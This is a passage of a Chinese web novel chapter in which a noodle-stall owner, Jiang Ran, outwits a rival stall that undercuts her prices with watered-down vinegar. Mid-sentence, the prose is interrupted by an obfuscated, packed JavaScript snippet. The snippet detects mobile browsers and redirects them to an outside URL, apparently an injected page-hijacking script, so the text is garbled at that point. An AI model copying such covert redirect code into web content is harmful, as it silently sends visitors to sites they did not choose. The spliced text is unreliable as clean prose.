有人帮腔，“你想退，过错不在摊主，这样也不耽误生意。” 虽然退了粉也是后头客人挪到前面来，但按姜然所说，并不影响后面的客人，也不影响摊子生意。 随意调换，反倒是给等着的人行了极大的方便。 不必再等，不管这人是嫌贵还是真的不想吃了，都给摊子和自己留了份颜面。 这客人也不是无理取闹的人，思索片刻觉得这样行得通，就怕没人愿意换。 知识还不等他开口，就有客人道：“你要汤粉是吧？卖给我。” 说着，拿五文钱给了客人，然后又冲姜然道：“加两个茶叶蛋。” 直接给了八文。 姜然笑笑，“好嘞，醋和辣子怎么放？” 客人：“多辣多醋。” 姜然一边做，眼角余光瞥见前头的客人收了钱后往怀里一塞，就去那边摊子排了。 摊子前头围着的人走了两个，但大多还在这儿等着，也没人提不要了。 姜然心下稍安，等这几个生意忙完后，她给了姜松钱，“哥，你去尝尝，看味道如何。” 21.第二十一章 化解 姜松洗干净手，弄了弄衣服，出去转了一圈，才去不远处的卖粉摊子。 姜然早先就想过会发生这种事，所以，准备了山芋泥拌粉。 可突然遇到这种事，哪怕有准备姜然还是忧心。 她没托大，觉得有了新口味就万无一失，所以让姜松去打听看看。 那边味道如何？她要不要也跟着降价？两个摊子离这么近，现在就已经有影响了，今天肯定是做不了山芋泥拌粉，她想把影响和损失降到最小。 两刻钟后，姜松回来了，他压低声音道：“做生意的是对年轻夫妇，我尝味道，不及你做的好吃。” 姜松：“茶叶蛋煎蛋也有，三文一个，客人挺多的。” 姜然从这边看去，都能看见那摊子围了一群人。味道不可能做到一模一样，不过这个价钱的确便宜。倘若不追求多好吃，就想吃个粉，吃一碗未尝不可。 姜然思索片刻，问道：“也是单独加醋和辣子？” 姜松点点头，那边摊子除了价钱便宜、味道差点，基本上和姜然的摊子一模一样。 姜松当兄长的，肯定觉得自家妹妹做的是最好的，“不过我觉得醋不够味，辣子也不及你做的好吃。” 姜松观察得很细致，姜然问什么都能答上来。 姜然这儿还有没走的客人，她一边煮粉，一边想，汴京城醋卖得便宜，一般的醋一升才五文，酸味就很足了，醋不够味，姜然推里面测可能加了水。 她的摊子，因为米拿的是家中的，菜也是家中的，所以一日能剩下好些钱，刨除那些本钱，一日的利润能有五六成。 姜然现在一日赚三百钱，自己留个一大半，剩下一小半给姜松，其中包括本钱，还有交的家用。 再降价，虽然也有的赚，可得肯定少。这家降了价，除了醋，肯定还有别的偷工减料。 姜然瞥去一眼，看似一模一样，其实什么都不一样，少两根菜，醋不够味儿，辣子做得不好吃，盛肉末的时候，兴许看着一勺，实则半勺。 若是这摊子离自己较远，不搞降价这一套，学就学，姜然不会管，可偏偏吆喝降价抢客人，妄图把她挤兑走。这就不地道了。 姜松已经去过一次，再去不合适。姜然对赵大娘道：“大娘，能帮我个忙不？” 赵大娘道：“啥帮忙不帮忙的，你的事就是我的事。” 赵大娘这两天做了糯米皮、黑芝麻和红糖馅儿的饼。用油一煎一烙，外面脆脆的，皮软糯香甜，里面流沙馅儿又香又好吃。 半个巴掌大，两文一块儿，买的人还挺多的。 这个很赚钱的。 想想前些日子，她还在摊子卖炊饼呢，这不多亏了姜然，帮点忙算啥？ 姜然拿了十文钱过去，靠近赵大娘，贴耳说道：“大娘，你去那边的摊子吃碗米粉，多加醋，千万不能说不好吃不够吃的话，就一直加醋就行。” 姜然记得她刚摆摊的时候，有些客人头一次来，不好意思加醋和辣子，多是看别人来加了，自己才端碗过来。 很多时候一个人去买东西，哪怕不合心意，也不会说的，顶多下次不来了。 赵大娘摊子姜然帮忙卖，赵大娘是一百一千个放心，就过去吃粉了。 一碗粉，她加了六七次的醋。本来还想着加醋加多了肯定不好吃，却不然。 这摊子的醋实在是淡得厉害，颜色都不是黑褐色，而是棕褐色的，没啥子酸味儿。 赵大婶还加了几勺辣子，辣子也不及姜然做的好吃，她心里嘀咕却没说出来，按照姜然所说，只做了这些，然后就走人了。 赵大娘是走了，却把这摊子的年轻夫妇忙得晕头转向，不可开交。 赵大娘去加醋了，其他吃粉的客人也去加了，加一次还不够，少则三四次，多则五六次，舀那么两勺，吃起来和没加没有分别，只能再加。 那摊子前头还有客人，这样来来回回端粉跑，着实影响生意。 还有客人神色不耐，“你家的醋怎么一点味都没有？这让人咋吃，一点都不够酸。” 夫妇其中的娘子说道：“许是买得不好，不然您再多加点。” 她夫君嘀咕起来，“你加了这么多次，我们都没说什么，你倒嫌起醋不好了。” 话里话外都是客人难伺候的意思。 客人也不是好相与的，“你家醋不够味，还不许说了。” 李娘子只觉得头大，拍拍她夫君的手，然后脸上堆满笑，“您觉得不够酸就加，没嫌你加得多，赶明儿我换家醋，这家糊弄人。” 客人拉长个脸，“加再多都不好吃。” 里面好似加了水，弄得粉也软了。这样一来，摊子前头好多跃跃欲试的客人，便望而却步，有的径直离开，去了姜然这儿。 赵大娘还没明白过来怎么回事，就见姜然的这边生意又好了起来，客人围着摊子加醋加辣子，还有要茶叶蛋的，人可多了。 忙活完早上，姜松把碗刷了又出去了。 赵大娘还是没明白过来怎么回事，姜然道：“就算降了价，客人是花了钱的，还是能挑好不好吃。” 姜然的声音很轻，“旁的客人见不好，就不觉得少花那一文钱值了，尤其是从我这摊子过去的，只会懊悔，贪小便宜还吃了亏。” 别看只是一顿饭，可早饭吃不好，会让人难受一上午。 这个全是他自己露的破绽。 头一天做生意很重要，卖吃食的摊子，若不好吃，客人不愿意再来。好吃但摊主态度不好，对生意影响更大。既不好吃态度又差，谁会愿意去。 姜然是打算等租了宅子再弄山芋泥拌粉的， 她不想计划被打乱。 有挑剔的，后面客人也会挑，今儿挑肉末少，明儿挑菜少，如果不想被挑，只能好好做，可做得好吃，本钱又得上来。 可前头就把名声败坏了，再挽回就难了。 而卖茶叶蛋的，这条街上可不止姜然一个，降价卖也是招人恨的，就看这摊子能坚持到何时了。 赵大娘听这些只觉得有理，姜然倒是有主意，能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119035|195137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到这些，虽然花了几文钱吧，可保住了生意，这钱花得值。 等中午的时候有熟客过来，两个人张罗着要去那边吃，姜然摊前的客人说道：“甭去甭去，那边不及这头好吃，醋都不够味儿，老板也酸气。” 姜然没说什么，只是把姜记米粉的牌子摆了摆，该煮粉煮粉，该放菜放菜。 粉煮好了，盛骨汤和肉末，“您要几勺醋，几勺辣子？葱花吃不？” 这人是新来的，问醋酸不酸，辣子辣不辣？ 不等姜然说话，旁边客人解释，“你头一回来吧，不能吃酸辣的，各放一勺就行，若实在吃不得，不放也成。这家摊主人好，你就算吃到一半也能再放，咱们吃多少放多少。” 姜然腼腆一笑，“你先吃着，觉得不够味再放。” 说不上高低立下，可却和另一个摊子有着明显区别。 姜然这儿味道好，人也和善。再看那边。妇人还行，可她夫君拉长一张驴脸。 不过定有贪便宜的，能解个馋，又省一文钱，何乐而不为呢？ 姜然的生意没受太大影响，和平时卖得差不多，一个白天卖四十来碗，晚上也卖这么多，一日能赚个三百多钱，赶得上木匠工人了。 她高兴，有人却忧愁了。 李娘子生意不好，只不过本来就是学别人做的，又理亏，怎么可能去找姜然的麻烦。 这边生意不好，夫妇二人也不算忙。 男人忍不住去姜然摊子前头去看，越看姜然生意好，心里越着急。 直到男人看见赵大娘，他一开始还没在意，可是越看越觉得眼熟。 这不是早晨来他摊子吃粉加了好些醋的那个吗？若不是她，摊子生意还不至于会这样。 她开了个头，别人有样学样。 男人急忙回去和李娘子道：“你知道咱们家生意为啥不好吗？就是因为那个姜记米粉的请了托，说咱们家不好吃。” 李娘子疑惑，“也没见人来闹事呀。” 男人恨道：“不闹事比闹事更可恨，她旁边的那个卖糖饼的大娘来吃粉，加了数次醋，你想想是不是那之后就有客人挑三拣四……不行，我得找她去。” 正午已过半，姜然这边东西快卖完了，前些日子有时有一天不够卖，然后第二天剩的多，姜然减了些量，今天还是剩了点。 摊子前头一个客人，后头坐着两个，快要吃完了。 客人见后头没人，说道：“等会儿再给我煮吧，等他们吃完，我正好坐着吃。” 姜然，“那好，你站树荫下等吧，省着晒。” 太阳直直照下来，姜然得不时眨眨眼睛。才舒服些。不用煮粉，她离锅边远了点儿，热气从锅中飘上来，灶炉中的火光刺目。盯得久了，再看别的地方一团团黑点。 灶往前面伸出了个烟囱，烟雾环绕。 她擦了擦汗，眼角余光瞥见两人立于摊前，打起精神问：“客人想吃些什么？” “吃什么吃，你心咋那么坏，你不让我做生意，你也别想做了！”